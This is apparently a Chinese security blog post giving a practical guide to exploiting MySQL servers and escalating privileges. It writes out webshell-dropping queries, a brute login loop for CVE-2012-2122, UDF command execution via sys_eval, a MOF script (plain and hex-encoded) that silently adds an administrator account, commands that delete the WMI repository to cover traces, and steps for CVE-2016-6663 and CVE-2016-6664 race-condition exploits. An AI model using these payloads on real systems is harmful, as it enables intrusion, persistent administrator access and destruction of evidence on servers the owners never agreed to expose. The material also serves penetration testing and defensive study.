<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    干貨|Mysql漏洞利用和提權

    VSole2021-08-13 08:53:20

    前言

    在日常滲透過程中我們經常會和數據庫打交道,其中很多時候都與Mysql數據庫有關,Mysql的提權,寫入webshell、數據庫用戶權限提升等,為加深自己的記憶和方便使用,所以想記錄一下我日常中對Mysql數據庫漏洞的利用和奇淫技巧,歡迎大家補充。

    Mysql寫入shell

    通過Mysql寫的shell有很多弊端,比如在Linux中一般運行Mysql的服務權限都是很低的,就算有時候成功寫進去有可能是訪問時也會返回500,并且需要有寫入的路徑,所以在windowns下的成功率會高一點。如今5.5以上的版本默認是沒有寫入的權限的,所以說有時候很雞肋,但也經常能給人帶來驚喜。

    利用into outfile直接在網站目錄下寫入webshell,首先必要條件是是否有寫入的權限和web的絕對路徑。

    show variables like '%secure_file_priv%'; #判斷當前數據庫用戶是否具有寫入權限
    

    • 如果secure_file_priv如果非空,則只能在對應的目錄下讀文件。
    • 如果是空即可在其他目錄寫(Linux下有可能是/var/lib/mysql-files/目錄可寫。可以配合文件包含漏洞利用)。
    • 如果為NULL則不允許導入和導出。
    • 在 MySQL 5.5 之前 secure_file_priv 默認是空,這個情況下可以向任意絕對路徑寫文件,而 MySQL 5.5之后 secure_file_priv 默認是 NULL,這個情況下是不可以寫入文件的。

    使用Mysql語句寫入一句話木馬:

    select '' into outfile 'c:\\shell.php'
    

    日志Getshell

    • 前提還是必須具又寫入權限和web絕對路徑,但是不需要當前數據庫用戶是否擁有權限
    • 原理是利用查詢操作會寫入到日志文件,即一句話木馬會寫進日志文件。
    show variables like 'general%'; # 查看當前的日志記錄set global general_log = "ON";   # 開啟日志記錄set global general_log_file="C://phpStudy/www/config.php";  # 指定日志文件
    

    首先查詢一下當前日志記錄

    我們再執行一下select "";  這條語句進行一次查詢,查詢記錄就會寫到日志文件中,形成一個webshell。

    我們嘗試訪問發現phpinfo解析成功。

    Mysql身份認證繞過漏洞

    Mysql身份認證繞過漏洞即(CVE-2012-2122)

    • 漏洞原理:當連接MariaDB/MySQL時,輸入的密碼會與期望的正確密碼比較,由于不正確的處理,會導致即便是memcmp()返回一個非零值,也會使MySQL認為兩個密碼是相同的。也就是說只要知道用戶名,不斷嘗試就能夠直接登入SQL數據庫。
    • payload:
    for i in `seq 1 1000`; do mysql -uroot -pwrong -h 127.0.0.1 -P3306 ; done
    

    UDF提權

    • UDF(user defined function),即 用戶自定義函數 ,是通過添加新的函數,實現自定義功能, 對mysql的功能進行擴充。
    • 如果是 MySQL >= 5.1 的版本,必須把 UDF 的動態鏈接庫文件放置于 MySQL 安裝目錄下的 lib\plugin 文件夾下文件夾下才能創建自定義函數。

    1.可以通過show variables like '%plugin%';來查看插件插件目錄

    2.在sqlmap中自帶了udf的動態鏈接庫文件,在/data/udf/mysql下,為了防止被誤殺都經過編碼處理過,都是不能直接使用的,我們需要使用sqlmap自帶的解碼工具進行解碼,在/extra/cloak/cloak.py下:

    # 例如解碼64位的Linux動態鏈接庫python3 cloak.py -d -i ../../data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_64.so
    

    在Metasploit中,UDF的動態鏈接庫文件直接在metasploit根目錄:

    /embedded/framework/data/exploits/mysql

    3.接下來就是將udf的動態鏈接庫文件寫入到mysql中,現將源文件轉化成hex方便寫入

    xxd lib_mysqludf_sys_64.so|cut -f 2,3,4,5,6,7,8,9 -d " "| tr -d "" | tr -d " "
    

    然后寫入到mysql:(注意這里要當secure_file_priv無限制的時候,我們才可以手工寫文件到 plugin 目錄下的)

    select 0x7f454c4602010100... into dumpfile '/usr/lib/mysql/plugin/udf.so';
    

    注意:如果是在docker下搭建的環境記得在啟動的時候加上--secure-file-priv='',并且確保/usr/lib/mysql/plugin目錄可寫

    4.創建自定義函數并調用命令

    create function sys_eval returns string soname 'udf.dll';
    

    然后查看一下是否創建成功:

    select * from mysql.func;
    

    最后執行命令即可:

    select sys_eval('whoami');
    

    在windows指令是直接以管理員的權限運行的,所以這也就是最高權限了。

    5.刪除自定義函數

    drop function sys_eval;
    

    MOF提權

    MOF的提取基本上都是在Windows server 2003之前的系統才可以提權成功,Windows2008以上由于保護機制,較少能夠成功。

    • 提權的原理是在C:/Windows/system32/wbem/mof/目錄下的 mof 文件每 隔一段時間(幾秒鐘左右)都會被系統執行,因為這個 MOF 里面有一部分是 VBS 腳本,所以可以利用這個 VBS 腳本來調用 CMD 來執行系統命令,如果 MySQL 有權限操作 mof 目錄的話,就可以來執行任意命令了。

    根據上面的提權原理 我們知道提權的前提條件就是mysql對 C:/Windows/system32/wbem/mof/ 路徑有寫入的權限,然后上傳文件,最后文件會自動執行達到提權的目的。

    mof腳本的內容:

    #pragma namespace("\\\\.\\root\\subscription") 
    
    instance of __EventFilter as $EventFilter { 
        EventNamespace = "Root\\Cimv2"; 
        Name  = "filtP2"; 
        Query = "Select * From __InstanceModificationEvent " 
                "Where TargetInstance Isa \"Win32_LocalTime\" " 
                "And TargetInstance.Second = 5"; 
        QueryLanguage = "WQL"; 
    }; 
    
    instance of ActiveScriptEventConsumer as $Consumer { 
        Name = "consPCSV2"; 
        ScriptingEngine = "JScript"; 
        ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")WSH.run(\"net.exe user yuaneuro P@ssw0rd /add\")WSH.run(\"net.exe localgroup administrators yuaneuro /add\")"; 
    }; 
    
    instance of __FilterToConsumerBinding 
    { 
        Consumer   = $Consumer; 
        Filter = $EventFilter; 
    };
    

    核心payload的內容是添加一個hack的用戶,密碼為P@ssw0rd,并把該用戶添加到管理員組。

    寫入文件:

    SELECT 0x23707261676d61206e616d65737061636528225c5c5c5c2e5c5c726f6f745c5c737562736372697074696f6e2229200a0a696e7374616e6365206f66205f5f4576656e7446696c74657220617320244576656e7446696c746572200a7b200a202020204576656e744e616d657370616365203d2022526f6f745c5c43696d7632223b200a202020204e616d6520203d202266696c745032223b200a202020205175657279203d202253656c656374202a2046726f6d205f5f496e7374616e63654d6f64696669636174696f6e4576656e742022200a20202020202020202020202022576865726520546172676574496e7374616e636520497361205c2257696e33325f4c6f63616c54696d655c222022200a20202020202020202020202022416e6420546172676574496e7374616e63652e5365636f6e64203d2035223b200a2020202051756572794c616e6775616765203d202257514c223b200a7d3b200a0a696e7374616e6365206f66204163746976655363726970744576656e74436f6e73756d65722061732024436f6e73756d6572200a7b200a202020204e616d65203d2022636f6e735043535632223b200a20202020536372697074696e67456e67696e65203d20224a536372697074223b200a2020202053637269707454657874203d200a2276617220575348203d206e657720416374697665584f626a656374285c22575363726970742e5368656c6c5c22295c6e5753482e72756e285c226e65742e6578652075736572206861636b6572205040737377307264202f6164645c22295c6e5753482e72756e285c226e65742e657865206c6f63616c67726f75702061646d696e6973747261746f7273206861636b6572202f6164645c2229223b200a7d3b200a0a696e7374616e6365206f66205f5f46696c746572546f436f6e73756d657242696e64696e67200a7b200a20202020436f6e73756d65722020203d2024436f6e73756d65723b200a2020202046696c746572203d20244576656e7446696c7465723b200a7d3b0a INTO DUMPFILE 'C:/windows/system32/wbem/mof/test.mof';
    

    執行成功的的時候,test.mof 會出現在:c:/windows/system32/wbem/goog/ 目錄下否則出現在 c:/windows/system32/wbem/bad 目錄下:

    已經在good目錄下了,說明已經執行成功了。
    用戶也創建成功了
    


    • 痕跡清理
    • 因為每隔一段時間都會執行一下命令,所以一般利用完以后就會將他刪除。
    • 我們需要暫時關閉 winmgmt 服務再刪除相關 mof 文件,這個時候再刪除用戶才會有效果:
    # 停止 winmgmt 服務
    net stop winmgmt
    # 刪除 Repository 文件夾
    rmdir /s /q C:\Windows\system32\wbem\Repository\
    # 手動刪除mof 文件
    del C:\Windows\system32\wbem\mof\good\test.mof /F /S
    # 刪除創建的用戶
    net user hacker /delete
    # 重新啟動服務
    net start winmgmt
    

    當然還有更為簡單的辦法,可以使用msf中的

    exploit/windows/mysql/mysql_mof模塊直接一鍵利用并且自動清理痕跡,這里就不詳細去寫了。

    Mysql提權條件競爭漏洞

    • CVE-2016-6663 是將www-data提權至mysql
    • CVE-2016-6664 是將mysql提權至root

    0x01-環境搭建

    我們使用tutum/lamp的docker搭建環境,然后在網站根目錄下寫入一個webshell

    echo "" > /var/www/html/shell.php
    

    連接數據庫,創建一個數據庫并創建一個用戶:

    create database test;  # 創建數據庫
    CREATE USER 'bmzgaq'@'%' IDENTIFIED BY '123456'; # 創建一個用戶bmzgaq,密碼為123456
    grant create,drop,insert,select on test.* to 'bmzgaq'@'%';  # 給bmzgaq用戶權限
    flush privileges; #刷新數據庫
    

    安裝gcc等依賴工具

    apt update && apt install -y wget gcc libmysqlclient-dev
    

    /etc/mysql/conf.d/mysqld_safe_syslog.cnf中的syslog字段刪除為提權到root做準備。

    0x02-將www-data提權至mysql

    利用CVE-2016-6663,這是競爭條件(race condition)漏洞,它能夠讓一個低權限賬號(擁有CREATE/INSERT/SELECT權限)提升權限并且以系統用戶身份執行任意代碼。也就是說,我們可以通過他得到一整個mysql的權限。

    1. 上傳mysql-privesc-race.c
    2. 然后編譯exp:
    gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient
    
    1. 提權:
    ./mysql-privesc-race 數據庫用戶名 密碼 數據庫地址 數據庫
    

    4. 運行exp后發現已經被提權到mysql權限,還貼心的給我們提示了如果提權到root可以使用CVE-2016-6662 或者 CVE-2016-6664

    0x03-將mysql提權至root

    利用CVE-2016-6664,導致這個問題的是因為mysql對錯誤日志以及其他文件處理的不夠安全,這些文件可被任意替換成系統文件,從而被利用獲取root權限。

    1.上傳mysql-chowned.sh

    2.查 /etc/mysql/conf.d/mysqld_safe_syslog.cnf是否有syslog字段,如果有,則無法利用

    3.給予mysql-chowned.sh執行權限

    chmod 777 mysql-chowned.sh
    

    4.運行

    ./mysql-chowned.sh /var/log/mysql/error.log
    
    mysqlmysql update語句
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    假設Mysql中canal_test庫下有一張表policy_cred,需要統計實時統計policy_status狀態為1的mor_rate的的變化趨勢,并標注比率的風險預警等級。?本次安裝的canal版本為1.1.2,Canal版本最后在1.1.1之后。server端采用MQ模式,MQ選用Kafka。服務器系統為Centos
    LIMIT 語句分頁查詢是最常用的場景之一,但也通常也是最容易出問題的地方。比如對于下面簡單的語句,一般 DBA 想到的辦法是在 type, name, create_time 字段上加組合索引。這樣條件排序都能有效的利用到索引,性能迅速提升。好吧,可能90%以上的 DBA 解決該問題就到此為止。出現這種性能問題,多數情形下是程序員偷懶了。在新設計下查詢時間基本固定,不會隨著數據量的增長而發生變化。
    服務器的相關信息(真實ip,系統類型,版本,開放端口,WAF等) 網站指紋識別(包括,cms,cdn,證書等),dns記錄 whois信息,姓名,備案,郵箱,電話反查(郵箱丟社工庫,社工準備等) 子域名收集,旁站,C段等 google hacking針對化搜索,pdf文件,中間件版本,弱口令掃描等 掃描網站目錄結構,爆后臺,網站banner,測試文件,備份等敏感文件泄漏等 傳輸協議,通用漏洞,ex
    ?上整理的?試問題?全,有些 HW ?試的題,已經收集好了,提供給?家。
    在日常滲透過程中我們經常會和數據庫打交道,其中很多時候都與Mysql數據庫有關,Mysql的提權,寫入webshell、數據庫用戶權限提升等
    SQL注入速查表
    2022-07-29 09:22:37
    現在僅支持MySQL、Microsoft SQL Server,以及一部分ORACLE和PostgreSQL。大部分樣例都不能保證每一個場景都適用。現實場景由于各種插入語、不同的代碼環境以及各種不常見甚至奇特的SQL語句,而經常發生變化。
    SQLite 是一個被大家低估的數據庫,但有些人認為它是一個不適合生產環境使用的玩具數據庫。事實上,SQLite 是一個非常可靠的數據庫,它可以處理 TB 級的數據,但它沒有網絡層。接下來,本文將與大家共同探討 SQLite 在過去一年中最新的 SQL 功能。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类